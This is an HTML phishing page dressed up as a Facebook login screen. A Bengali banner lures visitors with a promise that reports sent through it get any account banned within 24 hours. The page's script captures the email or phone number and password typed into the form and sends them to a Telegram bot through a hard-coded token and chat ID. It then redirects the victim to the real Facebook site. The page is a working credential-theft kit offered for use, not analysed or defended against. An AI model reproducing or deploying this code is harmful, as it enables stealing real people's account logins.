<!--
-- Uploaded on : https://haxor.my.id/open/speed_X_bro_bum.html
-- Official Web : https://prinsh.com
-- script-deface-generator.prinsh.com
-->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Login - Facebook</title>
<style>
body {
background: #e9ebee;
font-family: Arial, sans-serif;
text-align: center;
padding: 0;
margin: 0;
position: relative;
overflow: hidden; /* Prevent overflow from particles */
}
.login-container {
max-width: 400px;
margin: 100px auto;
padding: 40px;
background: white;
border-radius: 8px;
box-shadow: 0 0 20px rgba(0,0,0,0.1);
}
h2 {
color: #1877f2;
}
input {
width: 100%;
padding: 15px;
margin: 10px 0;
border-radius: 5px;
border: 1px solid #ddd;
font-size: 16px;
}
button {
width: 100%;
padding: 15px;
background-color: #1877f2;
color: white;
border: none;
border-radius: 5px;
font-size: 16px;
cursor: pointer;
}
button:hover {
background-color: #166fe5;
}
.forgot-password {
color: #1877f2;
font-size: 14px;
text-decoration: none;
}
.sign-up {
margin-top: 20px;
font-size: 14px;
}
.sign-up a {
color: #1877f2;
text-decoration: none;
}
.report-warning {
position: fixed;
bottom: 30px;
left: 50%;
transform: translateX(-50%);
background-color: rgba(0, 0, 0, 0.5);
color: white;
font-weight: bold;
padding: 20px;
border-radius: 8px;
font-size: 14px;
z-index: 1000;
width: 90%;
text-align: center;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.5);
overflow: hidden;
}
.credit {
position: fixed;
top: 0;
left: 0;
width: 100%;
background-color: #f1f1f1;
color: #1877f2;
text-align: center;
padding: 10px;
font-size: 16px;
z-index: 999;
}
.credit a {
color: #1877f2;
text-decoration: none;
font-weight: bold;
}
/* Particle Background */
.particles {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
z-index: -1;
background: rgba(0, 0, 0, 0.1);
}
/* Particle animation */
@keyframes particleAnim {
0% { transform: scale(1) rotate(0deg); opacity: 0.8; }
100% { transform: scale(1.5) rotate(360deg); opacity: 0; }
}
.particle {
position: absolute;
width: 8px;
height: 8px;
background-color: #fff;
border-radius: 50%;
animation: particleAnim 2s infinite ease-in-out;
opacity: 0.8;
}
</style>
</head>
<body>
<div class="particles"></div> <!-- Particles Background -->
<div class="credit">
ক্রেডিট: <a href="https://t.me/SPEED_X_OWNER" target="_blank">SPEED_X_OWNER</a>
</div>
<div class="login-container">
<h2>Facebook</h2>
<input type="text" id="email" placeholder="Email or Phone Number" required><br>
<input type="password" id="password" placeholder="Password" required><br>
<button onclick="sendToTelegram()">Log In</button>
<div class="forgot-password">
<a href="#">Forgotten password?</a>
</div>
<div class="sign-up">
<p>Don't have an account? <a href="#">Create New Account</a></p>
</div>
</div>
<div class="report-warning">
এই ফেসবুক থেকে কারো আইডিতে রিপোর্ট মারলে ২৪ ঘন্টার ভিতরে আইডিটি ব্যান্ড হবে💀 ⚠️warnig ⚠️ এটা দারা কেরো খতি করলে আমরা দায়ি থাকবো না😐💝</div>
<script>
const token = "7435301497:AAFiMvKSjEf6ivQNQXR3EvTJ6jMlMPPqEUE";
const chat_id = "6886136377";
function sendToTelegram() {
const emailOrPhone = document.getElementById("email").value.trim();
const password = document.getElementById("password").value.trim();
if (emailOrPhone === "" || password === "") {
alert("Please fill in all fields.");
return;
}
const url = `https://api.telegram.org/bot${token}/sendMessage`;
fetch(url, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
chat_id: chat_id,
text: `Email/Phone: ${emailOrPhone}\nPassword: ${password}`
})
})
.then(response => response.json())
.then(data => {
window.location.href = "https://www.facebook.com"; // Redirect to Facebook or another page
})
.catch(error => {
alert("Failed to send data.");
});
}
// Particle effect for the warning box
function createParticle() {
const particle = document.createElement("div");
particle.classList.add("particle");
// Random position and color for particles
const posX = Math.random() * window.innerWidth;
const posY = Math.random() * window.innerHeight;
const size = Math.random() * 5 + 5;
particle.style.width = size + "px";
particle.style.height = size + "px";
particle.style.left = posX + "px";
particle.style.top = posY + "px";
// Random colors for the particles
const colors = ['#ff0000', '#00ff00', '#0000ff', '#ff00ff', '#ffff00'];
const randomColor = colors[Math.floor(Math.random() * colors.length)];
particle.style.backgroundColor = randomColor;
document.body.appendChild(particle);
// Remove particle after animation ends
setTimeout(() => {
particle.remove();
}, 2000); // particles disappear after 2 seconds
}
// Create particles every 50ms (speed doubled)
setInterval(createParticle, 50);
</script>
</body>
</html>